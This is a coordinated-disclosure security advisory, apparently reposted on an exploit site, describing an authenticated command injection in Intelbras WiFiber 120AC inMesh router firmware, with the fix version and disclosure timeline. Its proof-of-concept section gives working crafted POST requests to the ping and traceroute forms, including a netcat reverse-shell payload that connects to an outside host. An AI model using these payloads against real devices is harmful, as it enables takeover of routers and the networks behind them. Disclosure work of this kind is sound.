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## https://sploitus.com/exploit?id=PACKETSTORM:168706
CyberDanube Security Research 20221009-0  
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title| Authenticated Command Injection  
product| Intelbras WiFiber 120AC inMesh  
vulnerable version| 1.1-220216  
fixed version| 1-1-220826  
CVE number|  
impact| High  
homepage| https://www.intelbras.com  
found| 2022-08-01  
by| T. Weber (Office Vienna)  
| CyberDanube Security Research  
| Vienna | St. Pölten  
|  
| https://www.cyberdanube.com  
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Vendor description  
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"We are Intelbras. A company that for 45 years has been offering innovative  
solutions in security, networks, communication and energy. Our dream   
began to  
come to life there in 1976, in the city of São José, having originated   
from an  
INspiration and a promising idea: to manufacture PABX centrals. During the  
80's, we surprised the market with the launch of the first PABX   
developed with  
national technology, a product that showed everyone our innovative DNA.   
The 90s  
were marked by the consolidation of the company in the telecommunications  
segment and we became leaders in the PABX and telephone terminals   
segment. The  
turn of the millennium represented the search for greater connection and  
proximity to people, something that is in total harmony with our   
philosophy to  
this day. More consolidated in the market, in 2010 we opened 3 manufacturing  
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.  
We reached our 45th birthday having reached a historic milestone: we   
have been  
a company listed on the B3 since February 2021. Our trajectory so far   
has been  
INnovative, INtelligent and INSpiring. We saw innovation, which is part   
of our  
DNA, increasingly present in our daily lives. And it was only possible to  
write a story so full of achievements because employees, partners and   
customers  
were close and believed in us."  
  
Source: https://www.intelbras.com/en/institutional/who-we-are  
  
  
Vulnerable versions  
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WiFiber 120AC inMesh / 1.1-220216  
  
  
Vulnerability overview  
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1) Authenticated Command Injection  
The web server of the device is prone to an authenticated command injection.  
It allows an attacker to gain full access to the underlying operating   
system of  
the device with all implications. If such a device is acting as key   
device in  
an industrial network, more extensive damage in the corresponding   
network can  
be done by an attacker.  
  
  
Proof of Concept  
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1) Authenticated Command Injection  
The web server is prone to an authenticated command injection via POST  
parameters. The following proof-of-concept shows how to inject the command  
"ls /" to the system which gets executed in the background:  
  
===============================================================================  
POST /boaform/formPing6 HTTP/1.1  
Host: 192.168.3.147  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101   
Firefox/91.0  
Accept:   
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 87  
Origin: http://192.168.3.147  
Connection: close  
Referer: http://192.168.3.147/ping6.asp  
Upgrade-Insecure-Requests: 1  
  
pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908  
===============================================================================  
  
The following commands can be used to open a reverse shell:  
  
"rm -f /tmp/f"  
"mkfifo /tmp/f"  
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"  
  
Those commands were sent via a crafted POST request:  
  
===============================================================================  
POST /boaform/formTracert HTTP/1.1  
Host: 192.168.3.147  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101   
Firefox/91.0  
Accept:   
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 255  
Origin: http://192.168.3.147  
Connection: close  
Referer: http://192.168.3.147/tracert.asp  
Upgrade-Insecure-Requests: 1  
  
proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290  
===============================================================================  
  
The vulnerability was manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).  
  
  
Solution  
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Update to firmware version 1-1-220826.  
  
https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip  
  
  
Workaround  
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None  
  
  
Recommendation  
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CyberDanube recommends Intelbras customers to upgrade the firmware to the  
latest version available.  
  
  
Contact Timeline  
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2022-08-02: Contacting Intelbras via suporte@intelbras.com.br.  
2022-08-03: Request from Intelbras to send the advisory to  
csirt@intelbras.com.br; Sent the advisory to this address.  
2022-08-30: Asked for status update; Vendor answered that the new firmware  
version has been released the day before. Set the   
disclosure date  
to 2022-10-03 (60 days policy).  
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.  
2022-10-09: Coordinated disclosure of advisory.  
  
  
Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com  
  
EOF T. Weber / @2022